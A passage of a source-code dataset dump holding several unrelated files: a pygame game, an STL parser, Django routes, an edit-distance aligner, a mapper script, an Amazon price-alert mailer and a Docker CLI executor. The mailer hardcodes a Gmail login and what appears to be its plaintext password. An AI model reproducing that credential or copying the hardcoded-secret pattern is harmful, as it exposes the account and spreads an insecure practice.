80)\n spriteBonus.rect.bottom = int(randint(0, ALTO) / 100 + 0.5) * 100\n return True\n # Hace la condición de que agarre el bonus\n elif xPersonaje+anchoPersonaje >= xBonus and xPersonaje <= xBonus+anchoBonus and yPersonaje+altoPersonaje >= yBonus and yPersonaje <= yBonus+altoBonus:\n spriteBonus.remove()\n spriteBonus.rect.left = randint(80, ANCHO - 80)\n spriteBonus.rect.bottom = int(randint(0, ALTO) / 100 + 0.5) * 100\n return True\n else:\n pass\n\n\n#Le paso todos los archivos para después utilizarlos\ndef dibujar():\n pygame.init() #Inicializa el motor de pygame\n ventana = pygame.display.set_mode((ANCHO, ALTO)) #Crea la ventana donde dibujará, Crea una ventana de ANCHO x ALTO\n reloj = pygame.time.Clock() #Para limitar los frames por segundo\n termina = False #Condición para que siga el juego, si es True, termina\n\n\n #Carga al personaje\n imgPersonaje = pygame.image.load(\"Conejo.png\")\n spritePersonaje = pygame.sprite.Sprite()\n spritePersonaje.image = imgPersonaje\n spritePersonaje.rect = imgPersonaje.get_rect()\n spritePersonaje.rect.left = 340\n spritePersonaje.rect.bottom = 300\n #ALTO//2 + spritePersonaje.rect.height//2\n\n #Carga a los enemigos\n listaEnemigos = []\n imgEnemigo = pygame.image.load(\"CazadorIzquierda.png\")\n for k in range(5): #Genera 5 enemigos\n spriteEnemigo = pygame.sprite.Sprite()\n spriteEnemigo.image = imgEnemigo\n spriteEnemigo.rect = imgEnemigo.get_rect()\n spriteEnemigo.rect.left = randint(0, ANCHO) + ANCHO\n spriteEnemigo.rect.bottom = int(randint(0, ALTO)/100+0.5) * 100\n listaEnemigos.append(spriteEnemigo) #Mete a los enemigos a la lista\n\n listaEnemigos2 = []\n imgEnemigo2 = pygame.image.load(\"CazadorDerecha.png\")\n for i in range(5): #Genera 5 enemigos\n spriteEnemigo2 = pygame.sprite.Sprite()\n spriteEnemigo2.image = imgEnemigo2\n spriteEnemigo2.rect = imgEnemigo2.get_rect()\n spriteEnemigo2.rect.left = randint(0, ANCHO) - ANCHO\n spriteEnemigo2.rect.bottom = int(randint(0, ALTO)/100+0.5) * 100\n listaEnemigos2.append(spriteEnemigo2) #Mete a los enemigos a la lista\n\n\n #Cargar obstáculos\n imgObstaculo = pygame.image.load(\"arbol.png\")\n spriteObstaculo = pygame.sprite.Sprite()\n spriteObstaculo.image = imgObstaculo\n spriteObstaculo.rect = imgObstaculo.get_rect()\n spriteObstaculo.rect.left = randint(70,ANCHO-70)\n spriteObstaculo.rect.bottom = int(randint(80,ALTO-80)/100+0.5) * 100\n\n #Cargar bonus\n imgBonus = pygame.image.load(\"BonoZanahoria.png\")\n spriteBonus = pygame.sprite.Sprite()\n spriteBonus.image = imgBonus\n spriteBonus.rect = imgBonus.get_rect()\n spriteBonus.rect.left = randint(80,ANCHO-80)\n spriteBonus.rect.bottom = int(randint(80,ALTO-80)/100+0.5) * 100\n\n #Fondos\n imgFondoInicio = pygame.image.load(\"imgFondo1.jpg\")\n imgFondoJugando = pygame.image.load(\"imgFondo2.jpg\")\n imgFondoFinal = pygame.image.load(\"imgFondo3.jpg\")\n\n #Menú\n imgBotonJugar = pygame.image.load(\"jugar.png\")\n imgBotonSalir = pygame.image.load(\"salir.png\")\n imgHighscore = pygame.image.load(\"Highscores.png\")\n\n #Menú final\n imgHome = pygame.image.load(\"home.png\")\n imgIntento2 = pygame.image.load(\"intentar.png\")\n\n #Estado incial\n estado = MENU\n\n #Tiempo\n timer = 0 #Acumulador de tiempo de regeneración enemigos\n nuevoTiempo = 0 #Acumulador de puntuación\n\n #Fuente de texto\n fuente = pygame.font.SysFont(\"monospace\", 64)\n\n #Carga la música\n pygame.mixer.init()\n pygame.mixer.music.load(\"musicaFondo.mp3\")\n pygame.mixer.music.play(-1)\n efectoSonido = pygame.mixer.Sound(\"sonidoConejo.wav\")\n\n\n while not termina: # Ciclo principal, Mientras la variable termina sea False, el ciclo se repite automáticamente\n # Procesa los eventos que recibe\n for evento in pygame.event.get():\n if evento.type == pygame.QUIT: # El usuario hizo click en el botón de salir\n termina = True # Queremos terminar el ciclo\n\n #Estado jugando\n elif estado == JUGANDO and evento.type == pygame.KEYDOWN:\n xPersonaje, yPersonaje, anchoPersonaje, altoPersonaje = spritePersonaje.rect\n xObstaculo, yObstaculo, anchoObstaculo, altoObstaculo = spriteObstaculo.rect\n if evento.key == pygame.K_UP:\n #Hace cumplir que no pase por el obstáculo\n if xPersonaje >= xObstaculo-anchoPersonaje and xPersonaje <= xObstaculo+anchoObstaculo and yPersonaje-altoPersonaje*2 <= yObstaculo and yPersonaje >= yObstaculo+altoObstaculo:\n pass\n elif yPersonaje-altoPersonaje <= 0:\n pass\n else:\n spritePersonaje.rect.bottom -= 100\n elif evento.key == pygame.K_DOWN:\n # Hace cumplir que no pase por el obstáculo\n if xPersonaje >= xObstaculo-anchoPersonaje and xPersonaje <= xObstaculo+anchoObstaculo and yPersonaje+altoPersonaje*2 >= yObstaculo and yPersonaje <= yObstaculo:\n pass\n elif yPersonaje+altoPersonaje >= ALTO:\n pass\n else:\n spritePersonaje.rect.bottom += 100\n elif evento.key == pygame.K_RIGHT:\n # Hace cumplir que no pase por el obstáculo\n if xPersonaje+anchoPersonaje*2 >= xObstaculo and xPersonaje+anchoPersonaje <= xObstaculo+anchoObstaculo and yPersonaje+altoPersonaje >= yObstaculo and yPersonaje <= yObstaculo:\n pass\n elif xPersonaje+anchoPersonaje*2 >= ANCHO:\n pass\n else:\n spritePersonaje.rect.left += 65\n elif evento.key == pygame.K_LEFT:\n # Hace cumplir que no pase por el obstáculo\n if xPersonaje+anchoPersonaje >= xObstaculo and xPersonaje-anchoPersonaje*2 <= xObstaculo+anchoObstaculo and yPersonaje+altoPersonaje >= yObstaculo and yPersonaje <= yObstaculo:\n pass\n elif xPersonaje-anchoPersonaje*2 <= -49:\n pass\n else:\n spritePersonaje.rect.left -= 65\n\n\n elif estado == PUNTAJES and evento.type == pygame.MOUSEBUTTONUP:\n xMouse, yMouse = pygame.mouse.get_pos() # Captura las coordenadas en las que hiciste click\n xHome = ANCHO - 120\n yHome = ALTO - 100\n xIntentar = ANCHO - 220\n yIntentar = ALTO - 80\n #Condición si el usuario hace click en home\n if xMouse >= xHome and xMouse <= xHome + 120 and yMouse >= yHome and yMouse <= yHome + 100: # Condicion para el boton\n nuevoTiempo = 0\n spritePersonaje.rect = imgPersonaje.get_rect()\n spritePersonaje.rect.left = 350\n spritePersonaje.rect.bottom = 300\n listaEnemigos.clear()\n listaEnemigos2.clear()\n spriteObstaculo.rect.left = randint(70, ANCHO - 70)\n spriteObstaculo.rect.bottom = int(randint(80, ALTO - 80) / 100 + 0.5) * 100\n spriteBonus.rect.left = randint(80, ANCHO - 80)\n spriteBonus.rect.bottom = int(randint(80, ALTO - 80) / 100 + 0.5) * 100\n estado = MENU\n #Condición si hace click en salir\n elif xMouse >= 0 and xMouse <= 221 and yMouse >= ALTO-100 and yMouse <= ALTO:\n termina = True\n #Condición si hace click en reintentar\n elif xMouse >= xIntentar and xMouse <= xIntentar + ANCHO - 220 and yMouse >= yIntentar and yMouse <= yIntentar + ALTO - 80:\n nuevoTiempo = 0\n spritePersonaje.rect = imgPersonaje.get_rect()\n spritePersonaje.rect.left = 350\n spritePersonaje.rect.bottom = 300\n listaEnemigos.clear()\n listaEnemigos2.clear()\n spriteObstaculo.rect.left = randint(70, ANCHO - 70)\n spriteObstaculo.rect.bottom = int(randint(80, ALTO - 80) / 100 + 0.5) * 100\n spriteBonus.rect.left = randint(80, ANCHO - 80)\n spriteBonus.rect.bottom = int(randint(80, ALTO - 80) / 100 + 0.5) * 100\n estado = JUGANDO\n\n\n #Probar botones del botón final\n elif estado == FINAL and evento.type == pygame.MOUSEBUTTONUP:\n xMouse, yMouse = pygame.mouse.get_pos() # Captura las coordenadas en las que hiciste click\n # Preguntar si solto el mouse dentro del boton de home\n xHome = ANCHO - 120\n yHome = ALTO - 100\n xBotonSalir = ANCHO//2 - 110\n yBotonSalir = ALTO//3 + 75\n xIntentar = ANCHO - 220\n yIntentar = ALTO - 80\n #Condición para establecer el juego en 0\n if xMouse >= xHome and xMouse <= xHome + 120 and yMouse >= yHome and yMouse <= yHome + 100: # Condicion para el boton\n nuevoTiempo = 0\n spritePersonaje.rect = imgPersonaje.get_rect()\n spritePersonaje.rect.left = 350\n spritePersonaje.rect.bottom = 300\n listaEnemigos.clear()\n listaEnemigos2.clear()\n spriteObstaculo.rect.left = randint(70, ANCHO - 70)\n spriteObstaculo.rect.bottom = int(randint(80, ALTO - 80) / 100 + 0.5) * 100\n spriteBonus.rect.left = randint(80, ANCHO-80)\n spriteBonus.rect.bottom = int(randint(80, ALTO-80) / 100 + 0.5) * 100\n estado = MENU\n # Condición para click en botón salir\n elif xMouse >= xBotonSalir and xMouse <= xBotonSalir+221 and yMouse >= yBotonSalir and yMouse <= yBotonSalir +100:\n termina = True\n # Condición para establecer el juego en 0\n elif xMouse >= xIntentar and xMouse <= xIntentar+ANCHO-220 and yMouse >= yIntentar and yMouse <= yIntentar+ALTO-80:\n nuevoTiempo = 0\n spritePersonaje.rect = imgPersonaje.get_rect()\n spritePersonaje.rect.left = 350\n spritePersonaje.rect.bottom = 300\n listaEnemigos.clear()\n listaEnemigos2.clear()\n spriteObstaculo.rect.left = randint(70, ANCHO - 70)\n spriteObstaculo.rect.bottom = int(randint(80, ALTO - 80) / 100 + 0.5) * 100\n spriteBonus.rect.left = randint(80, ANCHO - 80)\n spriteBonus.rect.bottom = int(randint(80, ALTO-80) / 100 + 0.5) * 100\n estado = JUGANDO\n\n #Estado menú\n elif estado == MENU and evento.type == pygame.MOUSEBUTTONUP:\n xMouse, yMouse = pygame.mouse.get_pos() #Captura las coordenadas en las que hiciste click\n # Preguntar si solto el mouse dentro del boton\n xBoton = ANCHO//2-110\n yBoton = ALTO//3-50\n xBotonSalir = ANCHO//2-110\n yBotonSalir = ALTO//3+100\n xBotonPuntajes = ANCHO//2-110\n yBotonPuntajes = ALTO-160\n #Condición si hace click en jugar\n if xMouse >= xBoton and xMouse <= xBoton+220 and yMouse >= yBoton and yMouse <= yBoton+100: #Condicion para el boton\n estado = JUGANDO\n #Condición si hace click en salir\n elif xMouse >= xBotonSalir and xMouse <= xBotonSalir+220 and yMouse >= yBotonSalir and yMouse <= yBotonSalir+100:\n termina = True\n #Condición si hace click en highscore\n elif xMouse >= xBotonPuntajes and xMouse <= xBotonPuntajes+220 and yMouse >= yBotonPuntajes and yMouse <= yBotonPuntajes+100:\n estado = PUNTAJES\n\n\n #Estado jugando\n if estado == JUGANDO:\n ventana.blit(imgFondoJugando, (0, 0))\n #Tiempo real\n nuevoTiempo += 1 / 40\n #Tiempo de regeneración\n timer += 1 / 40\n #Ciclo para que se generen los cazadores\n if timer >= 1:\n timer = 0\n\n #Carga los enemigos\n spriteEnemigo = pygame.sprite.Sprite()\n spriteEnemigo.image = imgEnemigo\n spriteEnemigo.rect = imgEnemigo.get_rect()\n spriteEnemigo.rect.left = randint(0, ANCHO) + ANCHO\n spriteEnemigo.rect.bottom = int(randint(0, ALTO)/100+0.5) * 100\n listaEnemigos.append(spriteEnemigo)\n\n spriteEnemigo2 = pygame.sprite.Sprite()\n spriteEnemigo2.image = imgEnemigo2\n spriteEnemigo2.rect = imgEnemigo2.get_rect()\n spriteEnemigo2.rect.left = -randint(0, ANCHO) - ANCHO\n spriteEnemigo2.rect.bottom = int(randint(0, ALTO)/100+0.5) * 100\n listaEnemigos2.append(spriteEnemigo2)\n\n moverEnemigos(listaEnemigos,listaEnemigos2)\n dibujarPersonaje(ventana, spritePersonaje)\n dibujarEnemigos(ventana, listaEnemigos, listaEnemigos2)\n dibujarObstaculo(ventana, spriteObstaculo)\n #Imprime el tiempo\n texto = fuente.render(\"Tiempo %d\" % int(nuevoTiempo), 1, ROJO)\n ventana.blit(texto, (ANCHO // 2 + 90, 20))\n #Verifica si chocaron\n if verificarColision(listaEnemigos, listaEnemigos2, spritePersonaje) == True:\n efectoSonido.play()\n estado = FINAL\n #Verifica si agarró el bonus\n elif agregarBonus(spriteBonus,spritePersonaje) == True:\n nuevoTiempo = nuevoTiempo+2\n #Genera el bonus\n elif nuevoTiempo >= 5 or nuevoTiempo >= 10 or nuevoTiempo >= 15:\n dibujarBonus(ventana, spriteBonus)\n\n #Estado de menú principal\n elif estado == MENU:\n ventana.blit(imgFondoInicio, (0,0))\n dibujarMenu(ventana, imgBotonJugar, imgBotonSalir, imgHighscore)\n\n #Estado de highscore\n elif estado == PUNTAJES:\n ventana.blit(imgFondoInicio,(0,0))\n ventana.blit(imgHome, (ANCHO - 120, ALTO - 100))\n ventana.blit(imgBotonSalir, (0, ALTO -100))\n ventana.blit(imgIntento2, (ANCHO - 220, ALTO - 80))\n\n #Se lee el archivo que contiene el puntaje anterior\n puntajeAnterior = open(\"Puntajes.txt\", \"r\")\n primerLinea = puntajeAnterior.readline()\n puntaje = str(primerLinea)\n score = fuente.render(\"Mejor puntaje: %s segundos\" % puntaje, 1, ROJO)\n ventana.blit(score, (100,ALTO//2))\n puntajeAnterior.close()\n\n\n #Estado de menú final\n elif estado == FINAL:\n ventana.blit(imgFondoFinal, (0,0))\n tiempo = fuente.render(str(\"Tu puntuación es: %d\" % int(nuevoTiempo)), 1, ROJO)\n dibujarMenuFinal(ventana, imgBotonSalir, imgHome, imgIntento2,tiempo)\n\n #Leo el archivo donde esta el puntaje anterior\n puntajeAnterior = open(\"Puntajes.txt\", \"r\")\n primerLinea = puntajeAnterior.readline()\n puntaje = int(primerLinea)\n puntajeActual = nuevoTiempo // 1\n #Comparo si el actual es mayor que el anterior\n if puntajeActual > puntaje:\n mejorScore = open(\"Puntajes.txt\", \"w\")\n mejorScore.write(\"%d\" % puntajeActual)\n mejorScore.close()\n puntajeAnterior.close()\n\n\n pygame.display.flip() # Actualiza trazos (Si no llamas a esta función, no se dibuja)\n reloj.tick(40) # 40 frames por segundo\n\n # Después del ciclo principal\n pygame.quit() # termina pygame\n\n# Función principal, aquí resuelves el problema\ndef main():\n dibujar()\n\n# Llamas a la función principal\nmain()","sub_path":"Juego.py","file_name":"Juego.py","file_ext":"py","file_size_in_byte":21016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"439153172","text":"\n\ndef readData(file_path):\n file=open(file_path)\n vertexs=[]\n vnorms=[]\n line=file.readline()\n while line:\n line=line.split()\n if line[0]=='facet':\n vnorms.append(list(map(float,[line[2],line[3],line[4]])))\n if line[0]=='vertex':\n vertexs.append(list(map(float,[line[1],line[2],line[3]])))\n line=file.readline()\n file.close()\n return vertexs,vnorms\n\n\nif __name__ == \"__main__\":\n vertexs, vnorms=readData('gear.stl')\n print(vertexs[0][0])","sub_path":"system/readData.py","file_name":"readData.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"358439761","text":"# -*- coding: utf-8 -*-\n\nfrom django.conf.urls import *\nfrom django.views.generic import *\n\nfrom consultas.views import *\n\nurlpatterns = (\n url(r'atestado/(?P\\d+)/$', atestado),\n url(r'encaminhamento/(?P\\d+)/$', encaminhamento),\n url(r'evolucao/(?P\\d+)/$', evolucao),\n url(r'gestantes/$', gestantes, name=\"gestantes\"),\n url(r'prescricao/(?P\\d+)/$', prescricao),\n url(r'producao_mensal/$', producao_mensal, name=\"producao_mensal\"),\n url(r'producao_diaria/$', producao_diaria, name=\"producao_diaria\"),\n url(r'solicitacao/(?P\\d+)/$', solicitacao),\n url(r'complemento/(?P\\d+)/$', get_complemento),\n url(r'profissional/$', get_profissional),\n url(r'procedimento/$', get_procedimento),\n url(r'solicitacaoModelo/$', solicitacaoModelo),\n url(r'prescricaoModelo/$', prescricaoModelo),\n url(r'medicacao/(?P\\d+)/$', get_medicacao),\n)\n","sub_path":"consultas/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"62437874","text":"import sys\nimport math\nfrom collections import deque\nimport editdistance\nimport pandas as pd\n\n\ndef _print_table(tbl, m, n):\n for i in range(0, m + 1):\n for j in range(0, n + 1):\n sys.stdout.write(\"%s/%s\" % tbl[(i, j)])\n sys.stdout.write('\\t')\n sys.stdout.write('\\n')\n\n\ndef _edit_distance(tokens1, tokens2, weight_fns):\n tbl = {}\n tbl[(0, 0)] = (0, 'n')\n\n m = len(tokens1)\n n = len(tokens2)\n\n for i in range(0, m):\n tbl[(i + 1, 0)] = (i + 1, 'd')\n \n for j in range(0, n):\n tbl[(0, j + 1)] = (j + 1, 'i')\n\n if m == 0 or n == 0:\n return tbl\n\n for i in range(0, m):\n for j in range(0, n):\n if (tokens1[i] == tokens2[j]):\n edit_cost = tbl[(i + 1, j + 1)] = (tbl[(i, j)][0], 'n')\n else:\n edit_cost = (tbl[(i, j)][0] + weight_fns['e'](tokens1[i], tokens2[j]), 'e')\n insert_cost = (tbl[(i, j + 1)][0] + weight_fns['d'](tokens1[i]), 'd')\n delete_cost = (tbl[(i + 1, j)][0] + weight_fns['i'](tokens2[j]), 'i')\n # print(tokens1[i])\n # print(tokens2[j])\n # print(f'e: {edit_cost}\\ni: {insert_cost}\\nd: {delete_cost}')\n # print()\n tbl[(i + 1, j + 1)] = min([insert_cost, delete_cost, edit_cost], key = lambda t: t[0])\n\n return tbl\n\n\ndef case_aware_editdistance(x,y):\n basic = editdistance.eval(x, y)\n case_insensitive = editdistance.eval(x.lower(), y.lower())\n if basic > case_insensitive:\n return case_insensitive+((basic-case_insensitive)*0.001)\n else:\n return basic\n\n\n\ndef _gen_alignments(tokens1, tokens2):\n weight_fns = {\n 'e': lambda x, y: (case_aware_editdistance(x, y) * 2 / max(len(x), len (y)) ) ,\n # 'e': lambda x, y: (editdistance.eval(x, y) * 2 / max(len(x), len (y)) ) ,\n 'd': lambda x: 1,\n 'i': lambda x: 1\n }\n\n dist_table = _edit_distance(tokens1, tokens2, weight_fns)\n \n m = len(tokens1)\n n = len(tokens2)\n\n alignments = deque()\n\n i = m\n j = n\n\n while i != 0 or j != 0:\n op = dist_table[(i, j)][1]\n cost = dist_table[(i, j)][0]\n\n if op == 'n' or op == 'e':\n alignments.appendleft((i, j, op, cost))\n i -= 1\n j -= 1\n \n elif op == 'i':\n alignments.appendleft((None, j, 'i', cost))\n j -= 1\n\n elif op == 'd':\n alignments.appendleft((i, None, 'd', cost))\n i -= 1\n\n return alignments\n\n\ndef align_words(s1, s2):\n s1_tokens = s1.split()\n s2_tokens = s2.split()\n\n alignments = _gen_alignments(s1_tokens, s2_tokens)\n\n return list(alignments)\n\ndef align_wordsDF(s1,s2,blanks='_',bckf=True):\n \n # print(s1)\n # print(s2)\n \n s1toks = s1.split()\n s2toks = s2.split()\n a = align_words(s1,s2)\n\n \n \n df = {}\n for tidx in range(len(a)):\n s1idx = a[tidx][0]\n s2idx = a[tidx][1]\n\n if s1idx:\n s1tok = s1toks[s1idx-1]\n else:\n s1tok = blanks\n\n if s2idx:\n s2tok = s2toks[s2idx-1]\n else:\n if bckf==True:\n s2tok=s1toks[s1idx-1]\n elif bckf==False:\n s2tok = blanks\n else:\n raise Exception('backoff must be True or False')\n df[tidx] = (s1tok,s2tok,a[tidx][2],a[tidx][3])\n # print(f'{tidx}\\t{s1tok}\\t{s2tok}\\t{a[tidx][2]}')\n return pd.DataFrame(df).T\n\n\ndef cross_align(s1,s2,blanks='_',bckf=True):\n return ' '.join(align_wordsDF(s1,s2,blanks=blanks,bckf=bckf)[1].values)","sub_path":"src/alignment.py","file_name":"alignment.py","file_ext":"py","file_size_in_byte":3591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"328472691","text":"#!/usr/bin/python\n\nimport sys\nimport string\n\nsubjectIdentifier = \"Subject: \"\n\nfor line in sys.stdin:\n\tif line.startswith(subjectIdentifier):\n\t\tline = line.replace(subjectIdentifier, \"\")\n\t\twords = line.split()\n\t\tfor word in words:\n\t\t\tword = word.strip(string.punctuation).strip()\n\t\t\tif len(word) > 0:\n\t\t\t\tprint(word.lower().strip())","sub_path":"mapper_2.py","file_name":"mapper_2.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"121047661","text":"import smtplib\nimport json\n\naccounts_path = './data/accounts.json'\n\ndef get_target_account(email):\n target_account = None\n with open(accounts_path, \"r+\") as f:\n accounts = json.load(f)\n for account in accounts:\n if account[\"email\"] == email:\n target_account = account\n break\n if target_account == None:\n accounts.append({'email': email, 'notified_products_urls': []})\n f.seek(0)\n json.dump(accounts, f)\n f.truncate()\n target_account = accounts[-1]\n\n return target_account\n\n\ndef update_accounts_json(email, urls):\n with open(accounts_path, \"r+\") as f:\n accounts = json.load(f)\n for account in accounts:\n if account[\"email\"] == email:\n account[\"notified_products_urls\"] = account[\"notified_products_urls\"] + urls\n break\n f.seek(0)\n json.dump(accounts, f)\n f.truncate()\n\n\ndef update_urls_to_send(urls_to_send, urls, target_account):\n for url in urls:\n if url not in target_account['notified_products_urls']:\n urls_to_send.append(url)\n\n\ndef send_mail(urls, email):\n urls_to_send = []\n target_account = get_target_account(email)\n update_urls_to_send(urls_to_send, urls, target_account)\n\n server = smtplib.SMTP('smtp.gmail.com', 587)\n server.ehlo()\n server.starttls()\n server.ehlo()\n\n server.login('throwaway.47192883@gmail.com', 'oqyriwifawroqvvv')\n subject = 'price fell down'\n body = 'check the amazon links:' + \" \".join(urls_to_send)\n\n msg = f\"Subject: {subject}\\n\\n{body}\"\n\n if len(urls_to_send) > 0:\n server.sendmail(\n 'originjdel@gmail.com',\n email,\n msg\n )\n update_accounts_json(email, urls_to_send)\n\n print(f'Hey, {len(urls_to_send)} emails have been sent')\n\n server.quit()\n","sub_path":"src/mail.py","file_name":"mail.py","file_ext":"py","file_size_in_byte":1899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"308983158","text":"\"\"\"\nThis is where the mainline sits and is responsible for setting up the logging,\nthe argument parsing and for starting up Harpoon.\n\"\"\"\n\nfrom __future__ import print_function\n\nfrom harpoon.errors import BadOption, BadDockerConnection\nfrom harpoon.overview import Overview\n\nfrom rainbow_logging_handler import RainbowLoggingHandler\nfrom input_algorithms.spec_base import NotSpecified\nfrom docker.client import Client as DockerClient\nfrom delfick_error import DelfickError\nimport requests\nimport argparse\nimport logging\nimport docker\nimport ssl\nimport sys\nimport os\n\nlog = logging.getLogger(\"harpoon.executor\")\n\ndef setup_logging(verbose=False, silent=False, debug=False):\n log = logging.getLogger(\"\")\n handler = RainbowLoggingHandler(sys.stderr)\n handler._column_color['%(asctime)s'] = ('cyan', None, False)\n handler._column_color['%(levelname)-7s'] = ('green', None, False)\n handler._column_color['%(message)s'][logging.INFO] = ('blue', None, False)\n handler.setFormatter(logging.Formatter(\"%(asctime)s %(levelname)-7s %(name)-15s %(message)s\"))\n log.addHandler(handler)\n log.setLevel([logging.INFO, logging.DEBUG][verbose or debug])\n if silent:\n log.setLevel(logging.ERROR)\n\n logging.getLogger(\"requests\").setLevel([logging.CRITICAL, logging.ERROR][verbose or debug])\n return handler\n\nclass CliParser(object):\n \"\"\"Knows what argv looks like\"\"\"\n def parse_args(self, argv=None):\n \"\"\"Split the args into -- and run through our argparse.ArgumentParser\"\"\"\n if argv is None:\n argv = sys.argv[1:]\n\n argv = list(argv)\n args = []\n extras = None\n default_task = NotSpecified\n default_image = NotSpecified\n\n if argv:\n if not argv[0].startswith(\"-\"):\n default_task = argv[0]\n argv.pop(0)\n\n if argv and not argv[0].startswith(\"-\"):\n default_image = argv[0]\n argv.pop(0)\n\n while argv:\n nxt = argv.pop(0)\n if extras is not None:\n extras.append(nxt)\n elif nxt == \"--\":\n extras = []\n else:\n args.append(nxt)\n\n other_args = \"\"\n if extras:\n other_args = \" \".join(extras)\n\n parser = self.make_parser(default_task=default_task, default_image=default_image)\n args = parser.parse_args(args)\n if default_task is not NotSpecified and args.harpoon_chosen_task != default_task:\n raise BadOption(\"Please don't specify task as a positional argument and as a --task option\", positional=default_task, kwarg=args.task)\n if default_image is not NotSpecified and args.harpoon_chosen_image != default_image:\n raise BadOption(\"Please don't specify image as a positional argument and as a --image option\", positional=default_image, kwargs=args.image)\n\n return args, other_args\n\n def make_parser(self, default_task=NotSpecified, default_image=NotSpecified):\n parser = argparse.ArgumentParser(description=\"Opinionated layer around docker\")\n\n logging = parser.add_mutually_exclusive_group()\n logging.add_argument(\"--verbose\"\n , help = \"Enable debug logging\"\n , action = \"store_true\"\n )\n\n logging.add_argument(\"--silent\"\n , help = \"Only log errors\"\n , action = \"store_true\"\n )\n\n logging.add_argument(\"--debug\"\n , help = \"Debug logs\"\n , action = \"store_true\"\n )\n\n opts = {}\n if os.path.exists(\"./harpoon.yml\"):\n opts[\"default\"] = \"./harpoon.yml\"\n opts[\"required\"] = False\n else:\n opts[\"required\"] = True\n\n if \"HARPOON_CONFIG\" in os.environ:\n opts[\"default\"] = os.environ[\"HARPOON_CONFIG\"]\n del opts[\"required\"]\n parser.add_argument(\"--harpoon-config\"\n , help = \"The config file specifying what harpoon should care about\"\n , type = argparse.FileType(\"r\")\n , **opts\n )\n\n extra = {\"default\": \"list_tasks\"}\n if default_task is not NotSpecified:\n extra[\"default\"] = default_task\n parser.add_argument(\"--task\"\n , help = \"The task to run\"\n , dest = \"harpoon_chosen_task\"\n , **extra\n )\n\n parser.add_argument(\"--non-interactive\"\n , help = \"Make this non interactive\"\n , dest = \"harpoon_interactive\"\n , action = \"store_false\"\n )\n\n extra = {\"default\": \"\"}\n if default_image is not NotSpecified:\n extra[\"default\"] = default_image\n parser.add_argument(\"--image\"\n , help = \"Specify a particular image\"\n , dest = \"harpoon_chosen_image\"\n , **extra\n )\n\n command = parser.add_mutually_exclusive_group()\n\n command.add_argument(\"--command\"\n , help = \"Specify a command to run for tasks that need one\"\n )\n\n command.add_argument(\"--bash\"\n , help = \"Specify a command that will be ran as /bin/bash -c ''\"\n )\n\n parser.add_argument(\"--silent-build\"\n , help = \"Make the build process quiet\"\n , dest = \"harpoon_silent_build\"\n , action = \"store_true\"\n )\n\n parser.add_argument(\"--keep-replaced\"\n , help = \"Don't delete images that have their tag stolen by a new image\"\n , dest = \"harpoon_keep_replaced\"\n , action = \"store_true\"\n )\n\n parser.add_argument(\"--no-intervention\"\n , help = \"Don't ask to intervene broken builds\"\n , dest = \"harpoon_no_intervention\"\n , action = \"store_true\"\n )\n\n parser.add_argument(\"--env\"\n , help = \"Environment option to start the container with\"\n , dest = \"extra_env\"\n , action = \"append\"\n )\n\n parser.add_argument(\"--port\"\n , help = \"Specify a port to publish in the running container you make\"\n , dest = \"extra_ports\"\n , action = \"append\"\n )\n\n parser.add_argument(\"--flat\"\n , help = \"Used with the show command\"\n , dest = \"harpoon_flat\"\n , action = \"store_true\"\n )\n\n parser.add_argument(\"--ignore-missing\"\n , help = \"Used by the pull commands to ignore if an image doesn't exist\"\n , dest = \"harpoon_ignore_missing\"\n , action = \"store_true\"\n )\n\n return parser\n\n def interpret_args(self, argv, no_docker=False):\n \"\"\"Parse argv, do some transformation and return cli_args suitable for Overview\"\"\"\n args, extra = CliParser().parse_args(argv)\n\n cli_args = {\"harpoon\": {}}\n for key, val in sorted(vars(args).items()):\n if key.startswith(\"harpoon_\"):\n cli_args[\"harpoon\"][key[8:]] = val\n else:\n cli_args[key] = val\n cli_args[\"harpoon\"][\"extra\"] = extra\n\n if not no_docker:\n cli_args[\"harpoon\"][\"docker_context\"] = docker_context()\n\n for key in ('bash', 'command'):\n if cli_args[key] is None:\n cli_args[key] = NotSpecified\n\n return args, cli_args\n\ndef docker_context():\n \"\"\"Make a docker context\"\"\"\n host = os.environ.get('DOCKER_HOST')\n cert_path = os.environ.get('DOCKER_CERT_PATH')\n tls_verify = os.environ.get('DOCKER_TLS_VERIFY')\n\n options = {\"timeout\": 60}\n if host:\n options['base_url'] = (host.replace('tcp://', 'https://') if tls_verify else host)\n\n if tls_verify and cert_path:\n options['tls'] = docker.tls.TLSConfig(\n verify = True\n , ca_cert = os.path.join(cert_path, 'ca.pem')\n , client_cert = (os.path.join(cert_path, 'cert.pem'), os.path.join(cert_path, 'key.pem'))\n , ssl_version = ssl.PROTOCOL_TLSv1\n , assert_hostname = False\n )\n\n client = DockerClient(**options)\n try:\n info = client.info()\n log.info(\"Connected to docker daemon\\tdriver=%s\\tkernel=%s\", info[\"Driver\"], info[\"KernelVersion\"])\n except (requests.exceptions.ConnectionError, requests.exceptions.Timeout) as error:\n raise BadDockerConnection(base_url=options['base_url'], error=error)\n return client\n\ndef main(argv=None):\n try:\n args, cli_args = CliParser().interpret_args(argv)\n handler = setup_logging(verbose=args.verbose, silent=args.silent, debug=args.debug)\n Overview(configuration_file=args.harpoon_config.name, logging_handler=handler).start(cli_args)\n except DelfickError as error:\n print(\"\")\n print(\"!\" * 80)\n print(\"Something went wrong! -- {0}\".format(error.__class__.__name__))\n print(\"\\t{0}\".format(error))\n if CliParser().parse_args(argv)[0].debug:\n raise\n sys.exit(1)\n\nif __name__ == '__main__':\n try:\n main()\n except KeyboardInterrupt:\n pass\n\n","sub_path":"harpoon/executor.py","file_name":"executor.py","file_ext":"py","file_size_in_byte":9091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"22383077","text":"# coding: utf-8\nimport tensorflow as tf \nfrom batch import MakeDataset, MakeSrcTrgDataset\n\nSRC_TRAIN_DATA = '../data/train.en'\nTRG_TRAIN_DATA 